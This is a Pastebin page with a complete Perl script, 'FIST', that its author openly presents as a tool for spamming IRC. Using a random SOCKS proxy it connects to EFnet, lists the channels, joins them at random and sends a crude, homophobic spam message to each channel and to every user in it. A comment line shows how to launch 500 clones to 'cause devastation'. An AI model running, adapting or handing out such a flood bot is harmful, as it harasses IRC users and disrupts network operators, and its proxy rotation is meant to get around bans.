Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env perl
- # FIST - fucking irc spamming tool
- # by demo (aka fubar, aka unixfreak) 27/11/2009
- #
- # what does this do?
- #
- # joins a network, grabs the channel list
- # joins random channels, spams the channel
- # and also spams every nick in the channel
- # through privmsg with the same message
- #
- # usage;
- # $ for i in {1..500}; do ./fist.pl &; done
- #
- # this will spawn 500 irc clones to spam the network
- # and cause devastation (if you have a decent proxy list)
- use strict;
- use warnings;
- use POSIX;
- use threads;
- use threads::shared;
- use IO::Socket::INET;
- use IO::Socket::Socks;
- $|++;
- $0 = "fist";
- # grab random proxy from file "proxylist"
- srand; my $proxy_line;
- open FILE, "<proxylist" or die "[-] Could not open filename: $!\n";
- rand($.)<1 and ($proxy_line=$_) while <FILE>;
- close FILE;
- $proxy_line =~ s/[\r\n]+//g;
- my ($socks_addr, $socks_port) = split(/:/, $proxy_line, 2);
- # grab random nick from file "nicklist"
- sub random_nick() {
- srand; my $nick_line;
- open FILE, "<nicklist" or die "[-] Could not open filename: $!\n";
- rand($.)<1 and ($nick_line=$_) while <FILE>;
- close FILE;
- $nick_line =~ s/[\r\n]+//g;
- return $nick_line;
- }
- my %irc = (
- # proxy settings (you probably want to enable proxy support, leave use_proxy set to 1)
- use_proxy => 1,
- socks_vers => 5,
- socks_addr => $socks_addr,
- socks_port => $socks_port,
- # server
- addr => 'irc.efnet.net',
- port => 6667,
- timeout => 3,
- buffer_size => 2048,
- # bot settings
- nick => &random_nick(),
- user => &random_nick(),
- name => 'realname',
- version => 'mIRC v420.69 Khaled Mardem Gay',
- # this is what gets spammed
- spam => '\\ | u are now been boatknotted to join #dildos by the TuRK 69 H4K4R //|',
- );
- print "
- ░░░░░░░░░░░░░░░░░░░ fucking irc spamming tool
- ░░░▓▓▓█░░░░░█▓▓▓░░░ Server .... $irc{addr}:$irc{port}
- ░▓█████▓░░░▓█████▓░
- ░▓█████░░▓░░█████▓░ STARTED
- ░▓░░░░░░███░░░░░░▓░
- ░▓██▓░░░░░░░░░▓██▓░
- ░░▓███░█░█░█░███▓░░
- ░░░▓██░█░█░█░██▓░░░ ^C to quit (or `killall fist`)
- ░░░░░█░░░░░░░█░░░░░
- ";
- my $sock;
- my (@nicks, @channels) = ();
- if ($irc{use_proxy}) {
- print "[+] Using socks$irc{socks_vers} $irc{socks_addr}:$irc{socks_port}\n";
- $sock = new IO::Socket::Socks(
- ProxyAddr => $irc{socks_addr},
- ProxyPort => $irc{socks_port},
- ConnectAddr => $irc{addr},
- ConnectPort => $irc{port},
- SocksDebug => 0,
- Timeout => $irc{timeout},
- SocksVersion => $irc{socks_vers},
- ) or die "[-] $SOCKS_ERROR";
- } else {
- $sock = new IO::Socket::INET (
- PeerAddr => $irc{addr},
- PeerPort => $irc{port},
- Proto => 'tcp',
- Timeout => $irc{timeout}
- ) or die "[-] $!";
- }
- print "[+] Connected to $irc{addr}/$irc{port}\n";
- while($sock->sysread(our $buf, $irc{buffer_size})) {
- $sock->syswrite("NICK $irc{nick}\r\n");
- $sock->syswrite("USER $irc{user} 0 0 :$irc{name}\r\n");
- last;
- }
- my $gotlist = 0;
- push(@channels);
- while($sock) {
- $sock->recv(our $buf, $irc{buffer_size}, MSG_DONTWAIT);
- for my $line (split(/^/m, $buf)) {
- # ping/pong
- if ($line =~ m/^PING (:[^ ]+)$/) {
- #print "[+] Sent pong\n";
- $sock->syswrite("PONG $1\r\n");
- }
- # ctcp version
- if ($line =~ m/^:(.+)!(.+)@(.+) PRIVMSG ${irc{nick}} :\001VERSION\001/) {
- $sock->syswrite("PRIVMSG $1 \001VERSION ${irc{version}}\001\r\n");
- }
- # end of motd
- if ($line =~ m/^:(.+) (376|422) ${irc{nick}} :(.+)$/) {
- $sock->syswrite("LIST\r\n");
- }
- # channels list
- if ($line =~ m/^:(.+) 322 ${irc{nick}} (#[^ ]+) (.+) :(.+?)$/) {
- push(@channels, $2);
- print "\r[*] Waiting for /LIST (".@channels." channels)";
- }
- # check possible ban info
- if ($line =~ m/^:(.+) NOTICE ${irc{nick}} :\*\*\* (.+)$/) {
- print "[!] $2\n";
- }
- # exit when banned
- if ($line =~ m/^ERROR :Closing Link: ${irc{nick}}\[(.+)\] (.+)$/) {
- close($sock);
- exit;
- }
- # end of channel list
- if ($line =~ m/^:(.+) 323 ${irc{nick}} :(.+?)$/) {
- $gotlist = 1;
- print "\n";
- }
- if ((@channels > 0) && $gotlist == 1) {
- my $index = rand(@channels);
- my $chan = $channels[$index]; #set to 0
- $sock->syswrite("JOIN ${chan}\r\n");
- if ($line =~ m/^:(.+) 353 ${irc{nick}} = (.+) :${irc{nick}} (.+)$/) {
- print "[+] JOIN $chan\n";
- our @n = split(' ', $3);
- foreach my $nick (@n) {
- if ($nick =~ m/^(\&|\~|\@|\%|\+)/) {
- $nick =~ s/^.{1}//s;
- }
- push (@nicks, $nick);
- $sock->syswrite("PRIVMSG $nick ${irc{spam}}\r\n");
- print "[+] Sent PRIVMSG to $nick\n";
- }
- $sock->syswrite("PRIVMSG ${chan} ${irc{spam}}\r\n");
- $sock->syswrite("PART ${chan}\r\n");
- splice(@channels,$index,1);
- }
- # end of /names
- if ($line =~ m/^:(.+) 366 ${irc{nick}} $chan :(.+)$/) {
- $sock->syswrite("PART $chan\r\n");
- if (@channels < 1) {
- print "[+] Done!\n";
- $sock->syswrite("QUIT\r\n");
- #exit;
- }
- }
- # discard these
- if ($line =~ m/^:(.+) (470|471|473|474|475|476|477|538) (.+)$/) {
- $sock->syswrite("PART ${chan}\r\n");
- splice(@channels,$index,1);
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement